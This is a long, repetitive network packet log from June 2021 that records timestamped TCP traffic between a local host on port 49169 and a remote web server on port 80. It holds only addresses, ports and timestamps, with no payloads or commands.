Jun 16, 2021 12:05:53.080991030 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.081012964 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.081063986 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.082020998 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.082042933 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.082097054 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.083096981 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.083139896 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.083486080 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.084120989 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.084152937 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.084249020 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.085150957 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.085181952 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.086168051 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.086190939 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.086219072 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.087196112 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.087220907 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.087251902 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.088254929 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.088279009 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.089261055 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.089282036 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.089327097 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.090308905 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.090329885 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.091209888 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.091336966 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.091372013 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.091641903 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.092360020 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.092391014 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.092436075 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.093439102 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.093488932 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.095305920 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.098891020 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.099173069 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.112056971 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.112103939 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.112404108 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.112447023 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.112447977 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.112485886 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.113329887 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.113384008 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.113435030 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.116878986 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.116923094 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.117149115 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.117225885 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.117283106 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.117451906 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.118112087 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.118156910 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.118204117 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.118942976 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.119004011 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.119663000 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.119786978 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.119829893 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.119875908 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.120577097 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.120626926 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.120671988 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.120676041 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.121675014 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.121715069 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.121746063 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.123193026 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.123236895 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.123274088 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.123497963 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.123538017 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.123641014 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.124294996 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.124341011 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.124401093 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.125063896 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.125107050 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.125166893 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.125828981 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.125868082 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.125925064 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.126616001 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.126660109 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.126717091 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.127387047 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.127429962 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.127489090 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.128140926 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.128180981 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.128730059 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.128925085 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.128964901 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.129018068 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.129698992 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.129741907 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.129801989 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.130448103 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.130486965 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.130541086 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.131241083 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.131280899 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.131340981 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.132011890 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.132052898 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.132828951 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.132872105 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.132909060 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.133567095 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.133609056 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.133622885 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.134320021 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.134358883 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.134385109 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.135173082 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.135216951 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.135523081 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.135854959 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.135893106 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.136096001 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.136627913 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.136670113 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.136727095 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.137373924 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.137417078 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.138051033 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.138128042 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.138170958 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.138839960 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.138879061 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.138936996 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.139556885 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.139616013 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.140294075 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.140337944 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.140377998 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.141025066 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.141072989 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.141092062 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.141753912 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.141824007 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.141829014 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.142494917 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.142565012 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.142584085 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.143227100 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.143289089 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.143304110 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.143929958 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.143975019 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.144635916 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.144699097 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.144701004 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.145376921 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.145432949 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.145443916 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.146064997 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.146106005 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.146123886 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.146806002 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.146845102 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.146857023 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.147522926 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.147564888 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.147582054 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.148230076 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.148303032 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.148762941 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.148968935 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.149010897 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.149068117 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.149698019 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.149735928 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.149926901 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.150398970 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.150440931 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.151174068 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.151218891 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.151254892 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.151845932 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.151885986 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.152559996 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.152595043 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.152620077 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.153287888 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.153341055 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.153369904 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.154062033 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.154105902 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.154120922 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.154745102 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.154778957 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.154798031 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.155471087 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.155508041 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.155657053 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.156191111 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.156229973 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.156289101 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.156790972 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.156831026 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.156866074 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.156889915 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.157701015 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.157741070 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.157776117 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.157819033 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.158664942 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.158721924 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.158741951 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.158780098 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.158833981 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.159492970 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.159529924 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.159559965 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.159615040 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.168910980 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.173717022 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.173777103 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.173818111 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.173934937 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.174071074 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.174112082 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.174150944 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.174169064 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.174877882 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.174926996 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.174941063 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.174964905 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.175014019 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.175678015 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.175728083 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.175776958 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.175837040 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.176486015 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.176536083 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.176574945 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.176592112 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.177280903 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.177330017 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.177346945 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.177369118 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.177418947 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.178081989 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.178129911 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.178169012 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.178184986 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.178844929 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.178900957 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.178909063 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.178944111 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.179034948 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.179689884 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.179735899 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.179775953 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.179831028 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.180387020 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.180433989 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.180469990 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.180484056 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.181209087 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.181257010 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.181272030 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.181304932 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.181356907 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.181881905 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.181905031 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.181921959 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.181958914 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.182653904 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.182678938 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.182698011 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.182715893 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.182749033 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.183373928 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.183398008 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.183427095 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.183445930 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.183461905 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.183491945 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.183839083 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.184072018 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.184356928 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.184380054 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.184396982 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.184416056 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.184462070 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.185329914 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.185354948 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.185372114 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.185389042 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.185405970 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.185445070 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.186295033 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.186319113 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.186336994 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.186355114 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.186403036 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.186744928 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.186923981 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.187200069 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.187222958 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.187241077 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.187258959 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.187298059 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.188095093 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.188148022 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.188281059 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.188299894 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.188321114 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.188342094 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.188360929 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.188385963 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.189173937 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.189199924 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.189220905 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.189239025 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.189254045 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.189285994 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.190048933 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.190078020 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.190094948 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.190109015 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.190165997 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.190188885 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.190918922 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.190944910 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.190963030 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.190982103 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.190999031 CEST	49169	80	192.168.2.22	172.67.158.27
